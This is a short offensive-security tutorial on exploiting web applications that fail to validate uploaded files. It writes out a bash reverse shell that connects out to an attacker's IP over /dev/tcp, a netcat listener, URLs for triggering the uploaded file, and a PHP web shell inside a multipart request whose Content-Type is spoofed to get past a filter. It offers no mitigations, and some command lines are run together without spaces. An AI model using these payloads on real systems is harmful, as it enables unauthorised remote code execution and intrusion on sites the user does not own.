File upload functionality is a common feature in web applications, allowing users to submit images, documents, or other files. However, improper handling of file uploads can lead to severe security risks, including remote code execution (RCE), privilege escalation, and data exfiltration.
Here we find an example scenario where this can be exploited:
Imagine we find an application that allows users to upload files of a type but it does not validate the file type, for example, a field for submitting an image
http://$url/submit#Example route of the page with the submit option
We should submit a file for an image extension such as jpg, or png, among others. But as is not validating input we could try to submit an arbitrary file with a script for a Reverse Shell
RevShell.sh
#!/bin/bashbash-i>&/dev/tcp/$MyIP/$port0>&1
Then we set up a Netcat listener to catch the connection
nc-nvlp$port#Same port that is in the script
Then we hit the web calling the file, and with this, we should catch the shell in our listener
http://$url/RevShell.sh#Invoke the filehttp://$url/uploads/RevShell.sh#Common route for uploaded fileshttp://$url/_uploaded/RevShell.sh#Another common route for uploaded files
If we don't know where the files are being saved on the web, we could fuzz the URL to find possible directions where they could be
File Type Filter Bypass
Sometimes the uploads are check and sanitized in different forms, here we find some ways to bypass this some of these restrictions:
In case it's filtering by a string comparison of the extension or name, we could try to change them arbitrarily to match the requested
Then we can continue to invoke the file and gain the remote execution
In case it's filtering by the file type indicated in the request headers, for example, the Content-Type header we could try to change it arbitrarily to a valid one
ThenThen we can continue to invoke the file and gain the remote execution
mv RevShell.sh RevShell.jpg #Change extension if needed to match
mv RevShell.sh image.jpg #Change complete name if needed to match
#Example request
Content-Disposition: form-data; name="avatar"; filename="Shell.php"
Content-Type: application/x-php #This is set by default
<?php system($_REQUEST["cmd"]); ?>
# We can change it to bypass
Content-Disposition: form-data; name="avatar"; filename="Shell.php"
Content-Type: image/png #Use file type required, the content won't be checked
<?php system($_REQUEST["cmd"]); ?>